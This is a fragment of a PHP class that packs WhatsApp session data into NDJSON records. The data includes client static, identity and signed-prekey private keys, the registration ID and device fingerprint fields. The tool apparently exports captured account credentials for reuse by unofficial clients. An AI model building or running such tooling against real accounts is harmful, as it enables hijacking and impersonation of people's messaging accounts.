$spk = $this->parseSignedPreKey($spkHex);
$csPriv = base64_decode((string) $csB64, true) ?: '';
$csPub = $this->deriveCurve25519Public($csPriv);
$record = [
'cc' => $cc,
'clientStaticPrivateKey' => $this->b64($csPriv),
'clientStaticPublicKey' => $this->b64($csPub),
'country' => $country,
'device' => $this->stringOf($dc['model'] ?? $dc['device'] ?? null),
'deviceUUID' => '',
'identityPrivateKey' => $this->b64($identPriv),
'identityPublicKey' => $this->b64($identPub),
'in' => $in,
'jid' => $phone,
'language' => '',
'manufacturer' => $this->stringOf($dc['brand'] ?? null) ?: 'Apple',
'mcc' => $this->stringOf($dc['sim_operator'] ?? null),
'mnc' => '',
'osBuildNumber' => $this->stringOf($dc['display'] ?? null),
'osVersion' => $this->stringOf($dc['sdk_release'] ?? null),
'phone' => $phone,
'phoneUUID' => $this->stringOf($blob['phoneId'] ?? null),
'registrationID' => (int) ($ident['registration_id'] ?? 0),
'roProductBoard' => $this->stringOf($dc['board'] ?? null),
'roProductDevice' => $this->stringOf($dc['device'] ?? null),
'signPreKeyID' => $spk['id'] ?? 0,
'signPreKeyPrivateKey' => $this->b64($spk['priv'] ?? ''),
'signPreKeyPublicKey' => $this->b64($spk['pub'] ?? ''),
'signPreKeySignature' => $this->b64($spk['sig'] ?? ''),
'whatsappVersion' => $this->stringOf($blob['whatsappVersion'] ?? $blob['version'] ?? null),
];
// Enforce fixed key order.
$ordered = [];
foreach (self::FIELD_ORDER as $k) {
$ordered[$k] = $record[$k] ?? '';
}
return $ordered;
}
/** One NDJSON line (no trailing newline). */
public function convertToLine(PluginSession $session, ?Device $device = null): ?string
{
$rec = $this->convert($session, $device);
if ($rec === null) {
return null;
}
$json = json_encode($rec, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
return $json === false ? null : $json;
}
/**
* @return array{cc:string, country:string}
*/
private function inferCcCountry(string $phone, ?Device $device): array
{
if ($phone !== '') {
[$cc, $country] = CountryCallingCode::inferFromPhone($phone);
if ($cc !== '') {
return [$cc, $country];
}
}
// Fallback: device.country (CF-IPCountry ISO code) -> calling code.
if ($device !== null) {
$iso = strtoupper(trim((string) $device->country));
$cc = CountryCallingCode::callingCodeForCountry($iso);
if ($cc !== null) {
return [$cc, $iso];
}
}
return ['', ''];
}
/**
* Parse signedPreKey.hexKey protobuf:
* field 1 (varint) = prekey_id
* field 2 (bytes) = public key (33 bytes, 05 prefix)
* field 3 (bytes) = private key (32 bytes)
* field 4 (bytes) = signature (64 bytes)
*
* @return array{id:int, pub:string, priv:string, sig:string}
*/
private function parseSignedPreKey(string $hex): array
{
$d = $this->hexToBytes($hex);
$out = ['id' => 0, 'pub' => '', 'priv' => '', 'sig' => ''];
$o = 0;
$n = strlen($d);
while ($o < $n) {
[$tag, $o] = $this->readVarint($d, $o);
$field = $tag >> 3;
$wire = $tag & 7;
if ($wire === 0) {
[$v, $o] = $this->readVarint($d, $o);
if ($field === 1) {
$out['id'] = (int) $v;
}
} elseif ($wire === 2) {
[$ln, $o] = $this->readVarint($d, $o);
$v = substr($d, $o, $ln);
$o += $ln;
if ($field === 2) {
$out['pub'] = $v;
} elseif ($field === 3) {
$out['priv'] = $v;
} elseif ($field === 4) {
$out['sig'] = $v;
}
} elseif ($wire === 1) {
$o += 8;
} elseif ($wire === 5) {
$o += 4;
} else {
break;
}
}
return $out;
}
/** Curve25519 public key from a 32-byte private key (libsodium). */
private function deriveCurve25519Public(string $priv): string
{
if (strlen($priv) !== 32) {
return '';
}
try {
return sodium_crypto_box_publickey_from_secretkey($priv);
} catch (\SodiumException $e) {
return '';
}
}
/** @return array{0:int, 1:int} */
private function readVarint(string $d, int $o): array
{
$v = 0;
$s = 0;
while ($o < strlen($d)) {
$b = ord($d[$o]);
$o++;
$v |= ($b & 0x7f) << $s;
if (($b & 0x80) === 0) {
break;
}
$s += 7;
}
return [$v, $o];
}
private function hexToBytes(string $hex): string
{
$hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '';
if ($hex === '' || strlen($hex) % 2 !== 0) {
return '';
}
return hex2bin($hex) ?: '';
}
private function b64(string $bytes): string
{
return $bytes === '' ? '' : base64_encode($bytes);
}
private function stringOf(mixed $v): string
{
if (is_int($v) || is_float($v)) {
return (string) $v;
}
if (is_string($v)) {
$v = trim($v);
return $v;
}
return '';
}
}